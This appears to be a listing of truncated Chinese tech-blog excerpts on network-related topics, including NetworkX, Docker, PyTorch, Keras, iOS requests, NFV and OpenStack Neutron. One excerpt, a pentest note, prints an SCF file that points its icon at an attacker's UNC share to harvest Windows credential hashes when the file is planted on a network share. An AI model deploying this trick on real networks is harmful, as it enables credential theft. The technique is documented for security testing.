ER随机网络,WS小世界网络,BA无标度网络的生成 import networkx as nx import matplotlib.pyplot as plt #ER随机网络 #10个节点,连接概率为0.6 er = nx.erdos_renyi_graph(10, 0.6) #节点在同心圆上分布 ps = nx.shell_layout(er) #在1*3的画板中显示于第一格 plt.subplot(131) plt.title('ER') nx.draw(er, ps, with_label

Docker 构建网络服务后本机不能访问 起因 使用tornado构建了一个服务,测试都没有问题 使用docker构建镜像,使用docker run image_name启动服务 使用浏览器访问 127.0.0.1:xxxx 失败,无法连接 排错 发现访问127的网址肯定是不行的,这简直就是秀智商,你访问本机怎么可能转发到容器中呢-- 想起来docker inspect container_id这个命令,查看了一下容器的IP,拿到IP后用同样的方式访问,发现还是无法连接,这就尴尬了 然后尝试pi

当我们用networkx生成网络时,节点之间的关系是随机的,很多时候我们生成的一个网络,存在不止一个子网,也就是说任意两个节点之间不一定连通 当我们想生成一个任意两点都能连通的网络时,就需要去判断生成的网络是不是只有一个子网,此时我们可以通过numpy的一个函数去判断 number_connected_components 这个函数返回的值代表网络中的子网个数,如果我们想生成只有一个子网的网络时,我们可以通过它来判断,以ER网络为例 while 1: er = nx.erdos_renyi_gr

  收集哈希 SCF(Shell命令文件)文件可用于执行一组有限的操作,例如显示Windows桌面或打开Windows资源管理器,这并不是什么新鲜事.然而,一个SCF文件可以用来访问一个特定的UNC路径,允许渗透测试人员构建攻击.下面的代码可以被放置在一个文本文件,然后需要被植入到网络共享. 代码: [Shell] Command=2 IconFile=\\攻击者的IP\share\pentestlab.ico [Taskbar] Command=ToggleDesktop 目标机IP:192.

Tensor Tensor是PyTorch中的重要数据结构,可认为是一个高维数组,Tensor与numpy的ndarrays类似,但Tensor可以使用GPU加速 import torch as t#import A as B,给予A库一个B的别称,帮助记忆 #构建5*3矩阵,只是分配了空间,未初始化 x=t.Tensor(5,3) print(x) print(x.size())#查看x的形状 print(x.size()[0],x.size(1))#查看列的个数,两种写法等价 print(t

简单介绍 NetworkX is a Python package for the creation, manipulation, and study of the structure, dynamics, and functions of complex networks. 这个工具包对于图网络的处理非常有用,涵盖了很多算法,用法也非常友好.这里也贴出几个常用链接: NetworkX 主页 NetworkX 文档 NetworkX 文档 PDF 建议直接下一份pdf放着随时查.接下来直接说常规

L0 pytorch 构建简单网络 本文是L0, 目的是把pytorch构建感知器的程序,仔细剖析理解. import torch from torch import nn torch.__version__ '1.3.0' STEP 1 手工定义全连接层Linear #torch.nn是专门为深度学习设计的模块.torch.nn的核心数据结构是Module #它是一个抽象的概念,#既可以表示神经网络中的某个层(layer), #也可以表示一个包含很多层的神经网络 #class Linear(n

全文参考 < 基于 python 的深度学习实战> import numpy as np from keras.datasets import mnist from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten from keras.layers.convolutional import Conv2D, MaxPooling2D (x_train, y_train), (x_tes

#coding=utf-8 #Python 3.4 https://docs.python.org/3.4/library/ #IDE:Eclipse +PyDev Window10 import atexit import os import sys import time import winsound import code import codecs import math import csv import base64 import re import smtplib from em

原文:http://blog.sciencenet.cn/home.php?mod=space&uid=404069&do=blog&classid=141080&view=me&from=space 复杂网络分析库NetworkX学习笔记(1):入门 NetworkX是一个用Python语言开发的图论与复杂网络建模工具,内置了常用的图与复杂网络分析算法,可以方便的进行复杂网络数据分析.仿真建模等工作.我已经用了它一段时间了,感觉还不错(除了速度有点慢),下面介绍我

这篇文章更多的是对于混乱的中文资源的梳理,并补充了一些没有提到的重要参数,希望大家不会踩坑. 1. 简介 1.1 背景 WGCNA(weighted gene co-expression network analysis,权重基因共表达网络分析)是一种分析多个样本基因表达模式的分析方法,可将表达模式相似的基因进行聚类,并分析模块与特定性状或表型之间的关联关系,因此在基因组研究中被广泛应用. 相比于只关注差异表达的基因,WGCNA利用数千或近万个变化最大的基因或全部基因的信息识别感兴趣的基因集,并

简介 在上一篇博客:数据挖掘入门系列教程(十一点五)之CNN网络介绍中,介绍了CNN的工作原理和工作流程,在这一篇博客,将具体的使用代码来说明如何使用keras构建一个CNN网络来对CIFAR-10数据集进行训练. 如果对keras不是很熟悉的话,可以去看一看官方文档.或者看一看我前面的博客:数据挖掘入门系列教程(十一)之keras入门使用以及构建DNN网络识别MNIST,在数据挖掘入门系列教程(十一)这篇博客中使用了keras构建一个DNN网络,并对keras的做了一个入门使用介绍. CIFA

代码地址https://github.com/vijayvee/Recursive-neural-networks-TensorFlow 代码实现的是结构递归神经网络(Recursive NN,注意,不是Recurrent),里面需要构建树.代码写的有不少错误,一步步调试就能解决.主要是随着tensorflow版本的变更,一些函数的使用方式发生了变化. 2 数据样式 (3 (2 (2 The) (2 Rock)) (4 (3 (2 is) (4 (2 destined) (2 (2 (2 (2

SuperMap iClient 7C是空间信息和服务的可视化交互开发平台,是SuperMap服务器系列产品的统一客户端.产品基于统一的架构体系,面向Web端和移动端提供了多种类型的SDK开发包,帮助用户快速构建网络富客户端和轻量级移动端GIS应用. 谁需要SuperMap iClient 7C l   网络富客户端GIS应用的开发人员 l   轻量级移动端GIS应用的开发人员 为什么选择SuperMap iClient 7C l   统一的产品架构,针对Web端和移动端的特点,提供了富客户端和

学习 Neutron 系列文章: (1)Neutron 所实现的虚拟化网络 (2)Neutron OpenvSwitch + VLAN 虚拟网络 (3)Neutron OpenvSwitch + GRE/VxLAN 虚拟网络 (4)Neutron OVS OpenFlow 流表 和 L2 Population (5)Neutron DHCP Agent (6)Neutron L3 Agent (7)Neutron LBaas (8)Neutron Security Group (9)Neutro

按照电站发电(从源点到电站),消费者消费(从消费者到汇点)的想法构建网络,以下是EK解法 //网络流EK算法 //Time:922Ms memory:224K #include<iostream> #include<cstring> #include<cstdio> #include<algorithm> #include<queue> using namespace std; #define MAX 105 #define INF 0x3f3f

技术交流新QQ群:414971585 关于网络请求的重要性我想不用多说了吧.对于移动客户端来说,网络的重要性不言而喻.常见的网络请求有同步GET, 同步POST, 异步GET, 异步POST.今天来看一下四种网络请求的实现方式. 一.同步GET 1 2 3 4 5 6 7 8 9 10 11 12 // 1.将网址初始化成一个OC字符串对象 NSString *urlStr = [NSString stringWithFormat:@"%@?query=%@®ion=%@&output=

你造什么是网络功能虚拟化(NFV)吗? NFV将网络功能整合到行业标准的服务器.交换机和存储硬件上,提供了优化的虚拟化数据平面,NFV通过服务器上运行的软件让管理员取代传统物理网络设备,并降低成本.能耗和复杂性. 作者:来源:SDNLAB|2016-02-15 09:51 收藏 分享 当涉及到网络设备,我们发现传统的专有网络设备越来越多样化,这使得运营商和数据中心运营商们升级服务也越来越困难.网络功能虚拟化(NFV)是源于ETSI行业规范工作组通过虚拟网络功能取代专用硬件来简化操作的倡议. NF

iOS开发中的网络请求   今天来说说关于iOS开发过程中的网络请求. 关于网络请求的重要性我想不用多说了吧.对于移动客户端来说,网络的重要性不言而喻.常见的网络请求有同步GET, 同步POST, 异步GET, 异步POST.今天来看一下四种网络请求的实现方式. 一.同步GET 1 2 3 4 5 6 7 8 9 10 11 12 // 1.将网址初始化成一个OC字符串对象 NSString *urlStr = [NSString stringWithFormat:@"%@?query=%@®i

四 ArcEngine实现创建网络数据集 ArcEngine创建网络数据集的过程,与ArcMap设置的过程类似,主要通过六个步骤即可以实现. 1 定义网络数据集对象,并设置基本属性,包括网络数据集名称,空间参考,空间范围等内容. 关键代码如下: /// <summary> /// 创建网络数据集对象 /// </summary> /// <param name="featureDataset">包含网络数据集的空间要素集</param>